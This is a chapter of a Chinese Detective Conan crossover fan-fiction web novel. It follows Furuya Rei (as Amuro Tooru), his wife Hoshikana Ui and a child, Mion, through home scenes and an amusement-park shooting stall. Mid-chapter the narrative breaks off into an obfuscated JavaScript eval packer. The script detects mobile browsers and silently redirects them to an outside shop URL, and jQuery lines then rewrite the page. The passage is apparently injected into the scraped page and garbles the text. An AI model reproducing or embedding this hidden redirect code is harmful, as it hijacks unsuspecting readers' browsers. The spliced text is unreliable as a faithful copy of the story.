13.第13章

作品:《和带崽的降谷先婚后爱

    “哎呀,新婚小夫妻就是腻歪,才分开几分钟就迫不及待找过来了。”


    毛利小五郎一脸吃瓜地把双臂搁在脑后,歪着头看向门口的安室透,又将视线落在睁大双眼有些局促的星奏羽衣脸上。


    啊咧啊咧,羽衣小姐这么完美的脸,去演戏也很适合嘛。


    “抱歉啊,羽衣小姐,我爸爸他平时也是这个样子的,你别介意……”毛利兰叉着腰用眼神警告毛利小五郎,让他不要再口出狂言了。


    毛利小五郎很快就注意到了安室透手里提的食物:“安室,你怎么知道我饿了?”


    “咖啡厅的新品,拜托毛利老师帮忙品尝一下。”


    和阳光一样耀眼的金发男人笑着递出手里打包好的食物,不知道又从哪变出一提啤酒,放在了桌上:“另外,这些啤酒是给毛利老师的答谢。”


    毛利小五郎于是眼冒爱心地摆了个绅士姿势,提出邀请:“羽衣小姐要共饮一杯吗?”


    几乎没有思考,金发男人笑着开口道:“酒精有扩张血管的作用,会增加伤口的血流量,不利于伤口愈合,还会抑制免疫系统的功能,增加感染的风险,羽衣伤口还没恢复,不能喝酒哦。”


    话是对着星奏羽衣说的,但毛利小五郎怎么听都觉得是在怼他。


    偏偏他还想不到反驳的话。


    总之,很让人窝火。


    以往这种时候,星奏羽衣都会用沉默敷衍过去。


    但她不想安室透为难,于是歉意地微弯腰鞠躬:“多谢毛利老师的好意,但我……不太能喝酒。”


    是跟着安室透喊的称呼,但毛利小五郎怎么听都觉得很受用,甚至扬着下巴哼哼两声,完全忘了自己还在生气。


    “‘答谢’?是为了前几天家暴那件事情吗?我听妈妈说了,她说成功帮羽衣小姐救的那位女士争取到了抚养权。”


    毛利兰觉得安室透和星奏羽衣实在是太过客气了:“那位女士有付律师费,安室先生用不着特意过来道谢的。”


    而且,这是妈妈做的事。她和爸爸只是帮忙引荐了一下,完全不值一提。


    星奏羽衣抬头看向安室透。


    竟然不是说说而已,真的付诸了行动吗?


    心脏微微抖了一下,软软的,有些酸。


    电视机里广告的声音没有了,飞鸟停在空中,阳光下漂浮的灰尘定格在一瞬间。


    她定定地看着那个丝毫没觉得自己付出了很多,仿佛帮助人就跟喝水一样简单的金发男人。


    看着那个带着魔力会让人跟着嘴角上扬的笑容。


    被长久地困在了这个画面里。


    好温暖。


    耀眼得让人想哭。


    要是能困在家里,只有她看到就好了。


    扭曲的念头像触角一样从地上钻了出来,星奏羽衣僵着后背紧抿嘴唇,和安室透并肩离开了毛利侦探事务所。


    “毛利老师没有说什么让羽衣为难的话吧?”


    “……诶?没有。”


    “那就好。”


    楼梯并不宽,两人并排走时,手随着步伐晃动,偶尔会在空中微妙地隔着极近的距离。


    星奏羽衣勾了勾手指,心脏又开始不受控制地跳动了起来。


    *


    “说起来,现在是波洛咖啡厅的上班时间吧……”


    毛利兰把啤酒箱放在角落里,感叹道:“安室先生果然跟爸爸说的那样,对羽衣小姐很上心呢。”


    想到了成天见不着面,哪怕她遇到紧急情况也很少出现的某位幼驯染,毛利兰低下头,表情有些失落。


    完全不懂得读空气的毛利小五郎翘着二郎腿,边吃蛋糕边点头:“喜欢肯定会时时刻刻想着见面啊。”


    柯南:……


    柯南:大叔你能不能别瞎搅和啊。


    *


    把外科书笼统地看了一遍,又像大学时期期末考试时背了几轮知识点,星奏羽衣伸了个懒腰,决定休息一下。


    她果断放弃了跟厨房里那些锅碗瓢盆战斗的计划,拧着水桶抹布把除了安室透卧室以外的房间进行了清扫。


    这些平时由钟点工阿姨做的事情,被她做起来十分费力。


    不过屋内亮堂干净的陈设证明她没有搞砸。


    额头有些冒汗,血液因为运动而增加了流动速度,星奏羽衣看着不断增添她存在的印记的房子,像躺进了蜜罐里似的,浑身暖洋洋的。


    “母亲!”


    门打开的一瞬间,围着星奏羽衣转圈圈的哈罗朝崽崽跑了过去。


    然后,两小只一前一后朝星奏羽衣跑来。


    星奏羽衣差点被弥音扑进了沙发:“欢迎回家,弥音,还有透君。”


    “下午好,羽衣。”


    降谷零的视线在比早上干净了一个度的地板上停留两秒,心里涌起一种难以言说的奇妙感受。


    他莫名想起了在警校期间,他们五个结伴的回忆。


    似乎也是起始于某一个不重要的日子。


    然后在日复一日的相处中成为了挚友,互相勾着肩,意气风发地变得更好。


    强行快速从记忆中脱离后,降谷零又看向了那张白皙的显得很柔弱的脸颊。


    自从五人变成他一人后,他就开始拒绝生活中的变化和新人的介入。


    尽管实际上,他潜意识里仍然渴望能有景光他们那样的人出现。


    但无论他愿意与否,变故从弥音出现那刻开始就发生了。


    “这是……水晶球吗?”


    星奏羽衣摇了摇掌心捧着的水晶球,湛蓝的眼瞳里折射出闪片落下时的细碎光芒。


    “嗯嗯!”崽崽贴着她,凑到她耳边说了什么,两人像聊秘密一样默契地看了安室透一眼,又默契地朝远离他的方向挪了一步。


    唇边漫出短暂的有些无奈的笑,降谷零走进厨房开始准备今天的晚餐。


    “还能占卜、预知未来吗?弥音也太厉害了吧!”惊诧过后,星奏羽衣深吸一口气,“这些超能力,透君他……都知道吗?”


    弥音摇了摇头。


    而后想起她差点把这些秘密写进自我介绍里,立刻睁大双眼坐直了。


    星奏羽衣不解:“透君不知道吗?为什么呢?”


    “因为……猫女阿姨说母亲不准我告诉除了她、蝙蝠侠叔叔和母亲以外的人!”


    崽崽眨巴着眼睛看着星奏羽衣,一脸求夸的模样:“母亲,弥音是不是很听话!”


    确实很乖,但她并不是她的母亲啊。


    星奏羽衣不知道怎么开口比较好,在纠结过后,心跳加速地攥着手心小声询问道:“弥音的母亲,是个什么样的人呢?她……跟透君感情一定很好吧。”


    弥音:?


    “母亲就是母亲啊!”弥音挠了挠头,大人说话好复杂啊,她听不懂。


    没有得到答案的星奏羽衣垂眸摸了摸水晶球。


    *


    时间很快又到了觉点,这晚弥音给自己开了盏小灯,倒也不觉得一个人睡觉害怕了,她缩在被子里,只露了小半个脑袋在外面呼吸。


    星奏羽衣盯着漆黑黑的天花板,坚信崽崽很快会跑进来。


    这么想着,即使很清楚地感受到旁边安室透的气息,她也没那么紧张了。


    “透君也有学过医学相关的东西吗?”


    指的是他很轻松说出饮酒对受伤的人造成的影响一事。


    正在脑海里汇总哥谭市重要人物和事件的降谷零回过神来,自然地给出了早就准备好的说辞:“嗯,算是侦探入门必备的知识吧,不过我还是初学者,知道的也不多。”


    “周末我准备带弥音和小兰小姐他们一起去游乐园,透君要一起吗?”


    “虽然很想去,但那天似乎要加班呢。”


    不过不是波洛咖啡厅的班。


    “这样啊,很辛苦呢。”星奏羽衣眨了一下眼睛,因为温暖的被窝渐渐有了睡意。


    身旁的呼吸很快变得均匀,降谷零侧眸,似乎能想象出对方熟睡的模样。


    明明是拥有很多觊觎者的著名芭蕾舞演员,但一点戒备心都没有呢,真叫人担心。


    对他毫无保留地信任,对赤井秀一也是。


    莫名地,降谷零觉得身上的被子有些厚重,压得他呼吸困难。


    手臂从被缝里出来,将被子拉远了些,空气很快钻了进去。


    感受到凉意又有些浑浑噩噩的星奏羽衣下意识往崽崽的方向靠近一些取暖。


    于是,薄薄的真丝睡裙贴在了降谷零的手臂上。


    被挨着的、没被挨着的肌肉一并紧绷了起来,像是有枪抵着最脆弱的脖颈,突然失去了动弹的能力。


    ——虽然事实是,有枪架在脖子上,降谷零也不会有太多波澜。


    过了很久,僵硬的肌肉才慢慢舒缓下来。


    最终,降谷零还是没有选择往旁边挪远些。


    他观察了,也看过冈岛医生那里的资料,星奏羽衣的睡眠质量不好。虽然她这两天似乎入睡挺快,但降谷零并不想吵醒她。


    为什么呢?


    或许,是因为他也体验过醒来之后难以入睡的痛苦。


    原本降谷零以为这会是一个不眠之夜,没想到却在不知不觉间就进入了深度睡眠。


    那股他不习惯的果糖味甜香,似乎有着助眠的功效。


    之后的一连几天,星奏羽衣总会在睡着后下意识朝暖意靠近,她乖乖地贴着降谷零,而降谷零也会在浑身紧绷后不知不觉入睡。


    这是很可怕的事情。


    因为降谷零发现他潜意识里在适应并且习惯这样的生活。


    偶尔闯祸让老师叫家长的崽崽,没有任何感情基础但令人舒心的妻子,依旧温暖的避风港公寓。


    这就像一枚不知道何时会开启倒计时的炸弹。


    *


    临近


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882805|191933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    圣诞节,街道开始装扮起来,穿着工作服的人搬着梯子为道路两旁的树挂上钻石灯,游乐园也因此增加了很多游玩福利。


    对什么都很好奇的小学生侦探团和崽崽很自然就被热闹的游戏摊吸引了注意力。


    旁边的牌子写着游戏规则,1000日元15发子弹,击中并被打落的盲盒归挑战者所有。


    盲盒大小各异,里面的东西有零食也有玩具。


    但真正算起来,游客想回本很难,因为星奏羽衣这个不懂行情的人都知道架子或者盲盒里必定有机关之类的东西。


    毛利兰率先尝试,勉强打下两个最小的盲盒。


    拆开里面,是小型饼干。


    但小朋友们还是很高兴,并雀跃地提出要尝试。


    结果,自然也一般。


    步美跟因为赚到了钱而脸上挂着难以抑制的笑容的老板进行交谈:“老板,能告诉我哪一个是宝可梦玩偶盲盒吗?拜托了!”


    “这个我也不知道呢,小朋友。”穿着浅灰色工作服的中年男人耸耸肩。


    「就算告诉你是最大的那一排你也打不中啊,小孩。」


    哼,骗子!


    弥音朝老板呲呲牙,她看了一眼眯着笑对这些不感兴趣的冲矢昴,然后拉住了星奏羽衣的手:“母亲,弥音想要最远的那些大盲盒!”


    “弥音,这些盒子不太好打下来呢。”毛利兰弯下腰试图说服明显有些上头的弥音,“你要是有什么喜欢的玩具,或者想吃的零食,可以告诉小兰姐姐,小兰姐姐买给你哦。”


    “不要!”


    “弥音就要那些大盒子!”


    “母亲!母亲!”


    如果是在哥谭市,别说这个小摊了,只要她点头,蝙蝠侠叔叔都会把整个游乐园买下来给她玩。


    当然弥音不是觉得这样的生活有什么不好的,她就是很生气,大骗子凭什么赚他们的钱,哼!


    她都听到了那个老板的心声,盲盒和盒子之间有磁铁,很难打下来的。


    “那我,试试吧。”


    星奏羽衣于是付了1000日元,向老板询问气泡枪的使用方法。


    她不想拒绝透君和弥音提出的任何要求。


    “嘭——”


    盲盒被橡胶子弹撞击,摇摇晃晃的,但并没有掉落。


    星奏羽衣紧抿嘴唇,再次凑近瞄准镜,露在外面的那只还没来得及闭上的湛蓝色眼眸里盛着认真。


    “嘭”,“嘭”。


    快速的两发连击,在极短时间内打中同一点。足足有小臂那么大的盲盒瞬间失去重心,重重摔在了地上。


    冲矢昴掀开眼帘,有些怀疑。


    这个女人真的是第一次接触射击吗?


    小朋友们一拥而上,接过老板满脸不情愿递来的盲盒。


    很可惜,里面是宝可梦的玩偶,但不是弥音想要的伊布仙子。


    星奏羽衣没有见过弥音的玩偶,干脆把最上面的一排全部打落。


    末了,还准备让老板摆些新的,直接无视亏本的老板脸上比哭还难看的笑容。


    视野中突然有什么东西出现,星奏羽衣抬眸,看见一只黑色厚底鞋带着重量从天空坠落。


    直觉告诉她,那只鞋子不会砸到这边。


    但,一定会正中马路对面某个正吃着棉花糖原地等母亲买水归来的男孩。


    好可怜,被砸到,脑袋肯定会爆掉吧。


    如果透君在这里,会怎么做呢?


    星奏羽衣眨了下眼睛,等她反应过来时,已本能地瞄准那只鞋子,发射子弹强行改变了它坠落的轨道。


    她不确定自己能否做到,也不确定这样会不会误伤其他游客。


    总之,电光火石之间,一切发生了。


    结果是好的。


    但因为肾上腺素飙升而不断颤抖的手,显示着她不平静的内心。


    差一点,子弹就打到了那个突然偏过头的路人。


    有些后怕的,气泡枪从掌心滑落,掉在地上,发出清脆的声响,已经好转的伤口又开始阵痛了起来。


    游乐园里一片沸腾,不安躁动的游客引来了巡视的安保工作人员。


    冲矢昴很感兴趣地盯着那张侧脸。


    再怎么英勇迅速地做出决定,也只是个会害怕的普通人啊。


    下一秒,人群中挤进来一只小麦色的手,准确无误地插-进星奏羽衣的指缝,将她整个人笼罩在自己的保护圈范围内。


    星奏羽衣眼眸微湿地抬头,声音带着细微的颤抖:“透君……”


    游客和安保人员都被掉进湖里的鞋子吸引了注意力,眼下四周并没有能对星奏羽衣造成威胁的事物,安室透这种下意识保护的行为是在针对谁也就不言而喻了。


    赤井秀一无辜耸肩。


    他只不过是视线在这个女人身上停留了莫约十几秒罢了。


    有必要防备意识这么强吗,波本?